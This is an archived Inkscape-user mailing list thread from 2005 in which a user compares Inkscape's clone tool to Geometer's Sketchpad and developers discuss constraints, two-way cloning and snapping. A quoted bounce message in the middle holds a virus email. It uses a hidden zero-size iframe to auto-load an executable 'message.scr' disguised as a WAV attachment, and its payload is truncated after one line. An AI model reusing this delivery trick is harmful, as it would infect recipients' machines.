Clone Tool and Feature Discussions

Hi, I'd like inquire about some features.
The clone tool:
First of all, it reminds me of Geometer's Sketchpad...a program I used while in high school to make complex geometric drawings. It would be nice if Inkscape implemented some features of Geometer's Sketchpad as, IMHO, it would make drawing easier.
When I think of "clone", I think "indistinguishable." As a user, it doesn't make any sense that the original object has properties that the clone does not...namely, if I rotate the original object, then the clone will rotate...but if I rotate the clone, the original will not rotate.
It seems the the current clone implementation is more like a "copycat" or "leader/follower" type relationship. It would be nice if Inkscape allowed for BOTH mechanisms: copycat and clone.
When you do copycat, the copies will mimic the original, but the original will not mimic the copy. When you do clone, either object will mimic the other object since they are indistinguishable.
--- Geometer's Sketchpad has a feature where you could add a "point". Let me give an example of how this was used:
You create a circle. You add a "point" to the circle. This point is linked to the circle. If you move the cirlce, the point moves with the circle. Additionally, the point can be moved, but its movement is constrained to the circle. Suppose I make a smaller circle using the point as the origin. This smaller circle is now linked to the point. Thus, if I dragged the point along the bigger circle, I would also be dragging the smaller circle around the circle.
This feature would be very nice to have. Suppose I made a curved line. I could add a point to the line, and then I could create another object using that point. Moving the point (along the curved line) would move the object that was created from the point.
These 'points' are VERY powerful tools.
---- In Geometer's Sketchpad, one had the ability to clone-reflect an object about a line. Upon doing so, there would be two indistinguishably, linked objects. If you moved one object closer to the reflection line, then the other object would move closer to the reflection line. Notice, it didn't matter which object you chose to move. This would be a VERY NICE feature in Inkscape...and I think it is pretty clear how useful it could be.
--- Often, I find that I want to rotate many different objects about the same point...but not necessary all at once. This means, that I need strict placement of the roatation point---as any difference is usually noticable. When dragging the cursor, the coordinates are show in the status bar, but is it possible to exactly specify the coordinates?
--- Geometer's Sketchpad also allowed you to draw perpendicular lines....or draw bisecting angles....or make a midpoint between two points. I believe these will be taken care of when Inkscape implements snapping to objects (please correct me if I am wrong). Corel Draw currently supports this. You can snap to the center of an object, the midpoint of a line, to a quadrant, and to a node.
Anyway, this is a wonderful program.
Thanks.
From MAILER-DAEMON Wed Jul 27 00:20:04 2005
Date: Wed, 27 Jul 2005 09:20:45 +0200 Message-Id: <10507270920.AA06397@...900...> Mime-Version: 1.0 From: "Postmaster" <postmaster@...900...> To: inkscape-user@lists.sourceforge.net X-Mailer: <SMTP32 v8.20> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [Inkscape-user] Undeliverable Mail Sender: inkscape-user-admin@lists.sourceforge.net Errors-To: inkscape-user-admin@lists.sourceforge.net X-BeenThere: inkscape-user@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk Reply-To: inkscape-user@lists.sourceforge.net List-Unsubscribe: https://lists.sourceforge.net/lists/listinfo/inkscape-user, mailto:inkscape-user-request@lists.sourceforge.net?subject=unsubscribe List-Id: Inkscape User Community <inkscape-user.lists.sourceforge.net> List-Post: mailto:inkscape-user@lists.sourceforge.net List-Help: mailto:inkscape-user-request@lists.sourceforge.net?subject=help List-Subscribe: https://lists.sourceforge.net/lists/listinfo/inkscape-user, mailto:inkscape-user-request@lists.sourceforge.net?subject=subscribe List-Archive: http://sourceforge.net/mailarchive/forum.php?forum=inkscape-user Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit
User mailbox exceeds allowed size: virus@...898...
Original message follows.
Received: from edibas.it [85.32.58.90] by e-billing.it with ESMTP (SMTPD-8.20) id A5540694; Wed, 27 Jul 2005 09:18:44 +0200 From: inkscape-user@lists.sourceforge.net To: edibas@...899... Subject: ??? ?? Mail Delivery (failure edibas@...899...) Date: Wed, 27 Jul 2005 09:17:53 +0200 MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_001B_01C0CA80.6B015D10" X-Priority: 3 X-MSMail-Priority: Normal Message-Id: <200507270918296.SM00792@...899...> X-IMAIL-SPAM-VALFROM: (355401d5000018fd) X-IMAIL-SPAM-PHRASE: (355401d5000018fd, if the message will not displayed automatically)
This is a multi-part message in MIME format.
------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: multipart/alternative; boundary="----=_NextPart_001_001C_01C0CA80.6B015D10"
------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META content=3D"text/html; charset=3Diso-8859-1" = http-equiv=3DContent-Type> <META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR> <STYLE></STYLE> </HEAD> <BODY bgColor=3D#ffffff>If the message will not displayed automatically,<br> follow the link to read the delivered message.<br><br> Received message is available at:<br> <a href=3Dcid:031401Mfdab4$3f3dL780$73387018@...98... height=3D0 width=3D0>www.edibas.it/inbox/edibas/read.php?sessionid-32190</a> <iframe src=3Dcid:031401Mfdab4$3f3dL780$73387018@...98... height=3D0 width=3D0></iframe> <DIV> </DIV></BODY></HTML>
------=_NextPart_001_001C_01C0CA80.6B015D10--
------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: audio/x-wav; name="message.scr" Content-Transfer-Encoding: base64 Content-ID:<031401Mfdab4$3f3dL780$73387018@...98...>
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[message truncated]

On Tue, Jul 26, 2005 at 11:46:39PM -0700, Christopher Ellison wrote:
Hi, I'd like inquire about some features.
Hiya Christopher
The clone tool:
First of all, it reminds me of Geometer's Sketchpad...a program I used while in high school to make complex geometric drawings. It would be nice if Inkscape implemented some features of Geometer's Sketchpad as, IMHO, it would make drawing easier.
I would encourage you to browse through Inkscapes "Request for Enhancement" tracker and check to see if all of those features are already requested. If so, then add your own thoughts to the item. If not, then you're welcome to add a new request. Make your feature description as descriptive as appropriate, perhaps even including screenshots or mockups if it may help.
Of course, no promises that the feature will get implemented any time soon, but at least this way it'll be "on the books" and not forgotten about. ;-)
Also, if you can code and are interested in working on implementing features like these, know that it's pretty straightforward to get your work included in the codebase. We've had a number of developers that started off just as users with an itch to scratch, that wanted to implement a few features, and that ended up becoming key contributors to the project. We view 'developer' and 'user' not as distinct roles but rather as two points on a continuum; pretty much every developer on Inkscape started as a user, and we figure more users will follow this progression too.
Bryce

On 7/27/05, Christopher Ellison <chris_ellison@...9...> wrote:
First of all, it reminds me of Geometer's Sketchpad...a program I used while in high school to make complex geometric drawings. It would be nice if Inkscape implemented some features of Geometer's Sketchpad as, IMHO, it would make drawing easier.
I think what you refer to is drawing with constraints. This is indeed a nice thing, but a general purpose vector editor cannot do all of this stuff. We're going to have more of it (in particular for diagrams) but if you need a Geometer's Sketchpad type program, I recommend KSEG:
http://www.mit.edu/~ibaran/kseg.html
When I think of "clone", I think "indistinguishable." As a user, it doesn't make any sense that the original object has properties that the clone does not...namely, if I rotate the original object, then the clone will rotate...but if I rotate the clone, the original will not rotate.
Terminology is never ideal. The term "clone" has stuck. And in fact it's quite apt here: if B is a clone of A, it means B inherits from A but not the other way round.
It seems the the current clone implementation is more like a "copycat" or "leader/follower" type relationship. It would be nice if Inkscape allowed for BOTH mechanisms: copycat and clone.
"Two-way" cloning is not in SVG, and I doubt it will be. Frankly I don't see much advantage in it. Can you describe a realistic use case?
You create a circle. You add a "point" to the circle. This point is linked to the circle. If you move the cirlce, the point moves with the circle. Additionally, the point can be moved, but its movement is constrained to the circle. Suppose I make a smaller circle using the point as the origin. This smaller circle is now linked to the point. Thus, if I dragged the point along the bigger circle, I would also be dragging the smaller circle around the circle.
Yes, that's constraints. We will soon have one specific kind of them, one that links an object with a connector line.
In Geometer's Sketchpad, one had the ability to clone-reflect an object about a line. Upon doing so, there would be two indistinguishably, linked objects. If you moved one object closer to the reflection line, then the other object would move closer to the reflection line. Notice, it didn't matter which object you chose to move. This would be a VERY NICE feature in Inkscape...and I think it is pretty clear how useful it could be.
You can do this, more or less, with clones. Except that they pass changes one way only. But if e.g. you are drawing a symmetric thing, you would normally want to edit just one half/petal/segment etc., which is easy to do with one original and many clones.
Often, I find that I want to rotate many different objects about the same point...but not necessary all at once. This means, that I need strict placement of the roatation point---as any difference is usually noticable. When dragging the cursor, the coordinates are show in the status bar, but is it possible to exactly specify the coordinates?
Not yet, but worth a RFE, hopefully we'll have this one day.
Geometer's Sketchpad also allowed you to draw perpendicular lines....or draw bisecting angles....or make a midpoint between two points. I believe these will be taken care of when Inkscape implements snapping to objects (please correct me if I am wrong). Corel Draw currently supports this. You can snap to the center of an object, the midpoint of a line, to a quadrant, and to a node.
We don't have snapping to objects yet. This is an area where a lot more work is needed.

On Wed, Jul 27, 2005 at 04:39:00AM -0300, bulia byak wrote:
It seems the the current clone implementation is more like a "copycat" or "leader/follower" type relationship. It would be nice if Inkscape allowed for BOTH mechanisms: copycat and clone.
"Two-way" cloning is not in SVG, and I doubt it will be. Frankly I don't see much advantage in it. Can you describe a realistic use case?
In a way, this is what defs are for. You establish a single definition for an item and then editing it changes all referenced instances of it. So if a realistic use case is established, I think it could be done with the functionality already in inkscape.
Bryce
participants (3)
-
Bryce Harrington
-
bulia byak
-
Christopher Ellison